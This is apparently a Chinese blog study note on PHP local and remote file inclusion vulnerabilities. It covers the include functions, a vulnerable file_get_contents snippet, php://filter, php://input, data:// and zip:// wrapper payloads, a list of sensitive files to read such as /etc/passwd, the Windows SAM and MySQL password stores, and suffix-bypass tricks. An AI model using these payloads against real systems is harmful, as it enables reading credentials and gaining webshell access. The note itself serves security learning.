参考文章
https://www.freebuf.com/articles/web/182280.html
https://segmentfault.com/a/1190000018991087
https://blog.csdn.net/nzjdsds/article/details/82461043
https://www.cnblogs.com/bonelee/p/14292794.html
漏洞相关函数
PHP中文件包含函数有以下四种:
require()
require_once()
include()
include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
还有就是echo +file_get_contents 这种文件包含形式
比如下列代码也可能造成恶意文件包含
<?php
echo file_get_contents(substr(strstr($_SERVER['QUERY_STRING'], 'url='), 4));
?>
在渗透测试过程中,可以尝试通过伪协议的方式读取本文件的源代码
php://filter/convert.base64-encode/resource=filename
如
http://xxx.xxx.com/fileinc.php?filename=php://filter/convert.base64-encode/resource=fileinc.php
可以通过本地包含/etc/my.ini allow_url_fopen allow_url_include文件查看参数的设置
本地文件包含漏洞常用文件名
/etc/profile #环境变量
/etc/sudoers #
/etc/my.cnf #mysql配置文件
/etc/hosts
/etc/group
/etc/passwd
/etc/php.ini
/etc/crontab
/etc/aliases
/etc/nginx/conf.d/default.conf
/etc/httpd/conf.d/httpd.conf
/proc/net/dev # 网卡信息
/proc/net/tcp #tcp端口信息

/proc/ [pid] /cmdline #进程命令行信息
/proc/version # linux内核版本信息
/var/log/lastlog # 上次登录的IP
/var/log/mysqld.log #mysql初始化密码
/var/log/httpd/ ….
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
远程文件包含漏洞
要求:
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
伪协议

还有http:// ftp://啥的
具体介绍参考https://segmentfault.com/a/1190000018991087
使用例子:
php://filter/convert.base64-encode/resource=filename
file:///etc/passwd
(下面这两个需要 `allow_url_include`为open ,当然如果利用成功可直接获得webshell ,, 可遇不可求啊)
php://input [ 把后面的post传入]
data://text/plain,
zip://(需要搭配文件上传漏洞)
使用方法:
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
绕过方式
A . 添加了文件后缀
- 使用文件名+ ? 号绕过
- 使用文件名+ #号绕过
- 文件名+ 空格绕过
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 1944270374@qq.com